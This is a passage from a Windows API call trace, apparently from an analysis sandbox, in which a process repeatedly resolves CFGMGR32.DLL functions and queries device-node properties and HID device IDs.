(hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0239.515] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0239.515] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0239.516] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0239.516] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0239.516] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0239.516] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0239.516] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0239.516] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0239.516] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0239.517] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0239.517] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0239.517] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0239.517] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0239.517] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0239.517] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0239.517] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0239.518] malloc (_Size=0x18) returned 0x20abc281fe0 [0239.518] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2d, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0239.522] malloc (_Size=0x48) returned 0x20abc27cf80 [0239.522] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4a876d00, dwHighDateTime=0x1d9eb0c)) [0239.522] SetEvent (hEvent=0x248) returned 1 [0239.577] malloc (_Size=0xd8) returned 0x20abc284e70 [0239.577] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0239.577] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0239.578] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0239.578] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0239.578] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0239.578] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0239.578] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0239.578] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0239.578] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0239.578] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0239.579] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0239.579] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0239.579] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0239.579] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0239.579] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0239.579] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0239.579] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0239.580] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0239.580] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0239.580] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0239.580] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0239.580] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0239.580] malloc (_Size=0x18) returned 0x20abc281a80 [0239.581] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x2d, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0239.581] malloc (_Size=0x48) returned 0x20abc27cf80 [0239.581] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x4a90ea2e, dwHighDateTime=0x1d9eb0c)) [0239.581] SetEvent (hEvent=0x248) returned 1 [0239.586] malloc (_Size=0xd8) returned 0x20abc284e70 [0239.586] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0239.587] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0239.587] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0239.587] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0239.587] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0239.587] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0239.587] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0239.587] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0239.588] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0239.588] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0239.588] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0239.588] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0239.588] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0239.588] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0239.589] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0239.589] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0239.589] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0239.589] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0239.589] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0239.590] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0239.590] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0239.590] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0239.590] malloc (_Size=0x18) returned 0x20abc281c60 [0239.590] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x2d, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0239.591] malloc (_Size=0x48) returned 0x20abc27cf80 [0239.591] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x4a934c85, dwHighDateTime=0x1d9eb0c)) [0239.591] SetEvent (hEvent=0x248) returned 1 [0239.595] malloc (_Size=0xd8) returned 0x20abc284e70 [0239.595] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0239.595] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0239.595] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0239.595] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0239.596] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0239.596] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0239.596] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0239.596] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0239.596] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0239.596] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0239.596] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0239.597] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0239.597] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0239.597] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0239.597] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0239.597] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0239.597] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0239.597] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0239.598] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0239.598] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0239.598] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0239.598] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0239.598] malloc (_Size=0x18) returned 0x20abc2820c0 [0239.599] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2d, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0239.599] malloc (_Size=0x48) returned 0x20abc27cf80 [0239.599] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4a934c85, dwHighDateTime=0x1d9eb0c)) [0239.599] SetEvent (hEvent=0x248) returned 1 [0239.605] malloc (_Size=0xd8) returned 0x20abc284e70 [0239.605] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0239.605] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0239.605] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0239.606] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0239.606] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0239.606] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0239.606] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0239.606] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0239.606] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0239.606] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0239.607] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0239.607] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0239.607] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0239.607] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0239.607] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0239.607] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0239.607] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0239.608] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0239.608] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0239.608] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0239.608] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0239.608] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0239.608] malloc (_Size=0x18) returned 0x20abc281b20 [0239.609] CM_Get_Device_IDA (in: dnDevInst=0x2e, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="HID\\VID_1532&PID_0102\\6&377ACEB1&0&0000") returned 0x0 [0239.609] malloc (_Size=0x48) returned 0x20abc27cb20 [0239.609] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x4a95b0ca, dwHighDateTime=0x1d9eb0c)) [0239.609] SetEvent (hEvent=0x248) returned 1 [0239.613] malloc (_Size=0xd8) returned 0x20abc284e70 [0239.613] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0239.613] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0239.613] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0239.613] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0239.614] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0239.614] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0239.614] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0239.614] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0239.614] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0239.614] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0239.614] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0239.615] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0239.615] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0239.615] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0239.615] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0239.615] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0239.615] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0239.615] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0239.615] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0239.616] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0239.616] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0239.616] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0239.616] malloc (_Size=0x18) returned 0x20abc281f80 [0239.616] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2e, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0239.617] malloc (_Size=0x124) returned 0x20abc2869a0 [0239.617] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2e, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2869a0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2869a0, pulLength=0x2dc22fd3f8) returned 0x0 [0239.618] free (_Block=0x20abc2869a0) [0239.618] malloc (_Size=0x48) returned 0x20abc2abe50 [0239.618] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x4a95b0ca, dwHighDateTime=0x1d9eb0c)) [0239.618] SetEvent (hEvent=0x248) returned 1 [0239.693] malloc (_Size=0x18) returned 0x20abc281bc0 [0239.693] SafeArrayPutElement (psa=0x20abbaf24a0, rgIndices=0x2dc22fd4c8, pv=0x20abbaffcb8) returned 0x0 [0239.693] free (_Block=0x20abc281bc0) [0239.693] malloc (_Size=0x18) returned 0x20abc281f80 [0239.693] SafeArrayPutElement (psa=0x20abbaf24a0, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0239.693] free (_Block=0x20abc281f80) [0239.694] malloc (_Size=0x18) returned 0x20abc281b40 [0239.694] SafeArrayPutElement (psa=0x20abbaf24a0, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0239.694] free (_Block=0x20abc281b40) [0239.694] malloc (_Size=0x18) returned 0x20abc281be0 [0239.694] SafeArrayPutElement (psa=0x20abbaf24a0, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0239.694] free (_Block=0x20abc281be0) [0239.694] malloc (_Size=0x18) returned 0x20abc281a00 [0239.694] SafeArrayPutElement (psa=0x20abbaf24a0, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0239.694] free (_Block=0x20abc281a00) [0239.694] malloc (_Size=0x18) returned 0x20abc281b20 [0239.694] SafeArrayPutElement (psa=0x20abbaf24a0, rgIndices=0x2dc22fd4c8, pv=0x20abba79a68) returned 0x0 [0239.694] free (_Block=0x20abc281b20) [0239.694] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0bcf0 [0239.694] SafeArrayGetDim (psa=0x20abbaf24a0) returned 0x1 [0239.694] SafeArrayGetLBound (in: psa=0x20abbaf24a0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0239.695] SafeArrayGetUBound (in: psa=0x20abbaf24a0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0239.695] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79c70 [0239.695] SafeArrayGetDim (psa=0x20abbaf24a0) returned 0x1 [0239.695] SafeArrayGetUBound (in: psa=0x20abbaf24a0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0239.695] SafeArrayGetElemsize (psa=0x20abbaf24a0) returned 0x8 [0239.695] SafeArrayGetElement (in: psa=0x20abbaf24a0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0239.696] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf1a90, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0239.696] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf1a98, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0239.696] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf1aa0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0239.696] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf1aa8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0239.697] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf1ab0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0239.697] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf1ab8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0239.698] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79c70) returned 1 [0239.698] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0bcf0) returned 1 [0239.699] malloc (_Size=0xd8) returned 0x20abc284e70 [0239.699] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0239.699] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0239.700] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0239.700] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0239.700] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0239.700] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0239.700] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0239.700] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0239.700] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0239.700] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0239.701] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0239.701] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0239.701] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0239.701] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0239.701] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0239.701] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0239.701] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0239.702] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0239.702] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0239.702] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0239.702] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0239.702] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0239.702] malloc (_Size=0x18) returned 0x20abc281f60 [0239.703] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2e, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0239.703] malloc (_Size=0x4) returned 0x20abc286bb0 [0239.703] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2e, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc286bb0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc286bb0, pulLength=0x2dc22fd3f8) returned 0x0 [0239.703] free (_Block=0x20abc286bb0) [0239.703] malloc (_Size=0x48) returned 0x20abc27cb20 [0239.703] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x4aa3af5d, dwHighDateTime=0x1d9eb0c)) [0239.704] SetEvent (hEvent=0x248) returned 1 [0239.708] malloc (_Size=0xd8) returned 0x20abc284e70 [0239.708] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0239.708] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0239.708] GetProcAddress 